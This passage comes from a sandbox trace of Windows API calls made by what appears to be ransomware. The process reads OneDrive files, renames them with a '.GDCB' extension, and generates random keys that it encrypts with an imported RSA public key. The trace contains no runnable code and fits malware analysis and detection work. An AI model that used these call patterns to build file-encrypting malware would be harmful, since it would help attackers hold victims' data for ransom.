dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.856] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5900000 [0182.857] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5910000 [0182.858] ReadFile (in: hFile=0x514, lpBuffer=0x5910000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5910000*, lpNumberOfBytesRead=0x285d3e8*=0x484, lpOverlapped=0x0) returned 1 [0182.874] VirtualAlloc (lpAddress=0x0, dwSize=0x490, flAllocationType=0x3000, flProtect=0x4) returned 0x5a20000 [0182.879] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\testsharepage.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\TestSharePage.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\testsharepage.html.gdcb")) returned 0 [0182.884] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0182.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.886] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.886] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.886] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.887] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.888] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.888] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.888] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.888] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.889] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.891] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80c58) returned 1 [0182.891] CryptGetKeyParam (in: hKey=0x4f80c58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.891] CryptEncrypt (in: hKey=0x4f80c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.891] GetLastError () returned 0x0 [0182.891] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.891] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.893] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80a58) returned 1 [0182.893] CryptGetKeyParam (in: hKey=0x4f80a58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.893] CryptEncrypt (in: hKey=0x4f80a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.894] GetLastError () returned 0x0 [0182.894] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.894] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0182.907] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0182.909] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.910] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.910] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.910] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.910] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0182.911] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.912] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.912] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.912] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.912] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0182.914] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80958) returned 1 [0182.914] CryptGetKeyParam (in: hKey=0x4f80958, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.914] CryptEncrypt (in: hKey=0x4f80958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5900000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5900000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.914] GetLastError () returned 0x0 [0182.914] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0182.914] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.916] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80b58) returned 1 [0182.916] CryptGetKeyParam (in: hKey=0x4f80b58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.916] CryptEncrypt (in: hKey=0x4f80b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5910000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5910000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.916] GetLastError () returned 0x0 [0182.916] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.916] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Warning.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\warning.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.918] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5920000 [0182.920] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5930000 [0182.921] ReadFile (in: hFile=0x514, lpBuffer=0x5930000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5930000*, lpNumberOfBytesRead=0x285d3e8*=0xa21, lpOverlapped=0x0) returned 1 [0182.930] VirtualAlloc (lpAddress=0x0, dwSize=0xa30, flAllocationType=0x3000, flProtect=0x4) returned 0x5a40000 [0182.934] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Warning.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\warning.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\Warning.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\warning.png.gdcb")) returned 1 [0182.993] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0182.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.995] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.995] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0182.995] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.995] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0182.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.997] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.997] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0182.997] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.997] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0182.999] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80698) returned 1 [0182.999] CryptGetKeyParam (in: hKey=0x4f80698, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0182.999] CryptEncrypt (in: hKey=0x4f80698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5900000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5900000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.000] GetLastError () returned 0x0 [0183.000] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.000] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.002] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80998) returned 1 [0183.002] CryptGetKeyParam (in: hKey=0x4f80998, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.002] CryptEncrypt (in: hKey=0x4f80998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5910000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5910000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.002] GetLastError () returned 0x0 [0183.002] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.002] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121120_934-848.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121120_934-848.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.002] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.004] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.005] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.005] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.006] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.006] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.007] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.009] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80598) returned 1 [0183.009] CryptGetKeyParam (in: hKey=0x4f80598, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.009] CryptEncrypt (in: hKey=0x4f80598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5920000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5920000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.009] GetLastError () returned 0x0 [0183.009] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.009] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0183.011] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80518) returned 1 [0183.012] CryptGetKeyParam (in: hKey=0x4f80518, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.012] CryptEncrypt (in: hKey=0x4f80518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5930000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5930000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.012] GetLastError () returned 0x0 [0183.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.012] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_121121_d68-ddc.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.012] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.014] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.014] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.014] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.015] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.015] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.016] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.017] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.017] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.017] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.017] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.019] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80c18) returned 1 [0183.019] CryptGetKeyParam (in: hKey=0x4f80c18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.019] CryptEncrypt (in: hKey=0x4f80c18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5940000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5940000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.020] GetLastError () returned 0x0 [0183.020] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.020] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.022] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80758) returned 1 [0183.022] CryptGetKeyParam (in: hKey=0x4f80758, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.022] CryptEncrypt (in: hKey=0x4f80758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5950000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5950000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.022] GetLastError () returned 0x0 [0183.022] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.022] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123817_760-808.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123817_760-808.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.022] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.024] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.025] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.025] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.025] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0183.026] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.027] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.028] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.028] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.028] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.030] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80618) returned 1 [0183.030] CryptGetKeyParam (in: hKey=0x4f80618, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.030] CryptEncrypt (in: hKey=0x4f80618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5960000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5960000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.031] GetLastError () returned 0x0 [0183.031] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.031] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0183.033] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80858) returned 1 [0183.033] CryptGetKeyParam (in: hKey=0x4f80858, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.033] CryptEncrypt (in: hKey=0x4f80858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5970000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5970000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.033] GetLastError () returned 0x0 [0183.033] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.033] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123818_e38-824.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123818_e38-824.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.033] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0183.035] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.036] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.036] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.036] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.039] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.039] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.039] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.042] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80898) returned 1 [0183.042] CryptGetKeyParam (in: hKey=0x4f80898, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: 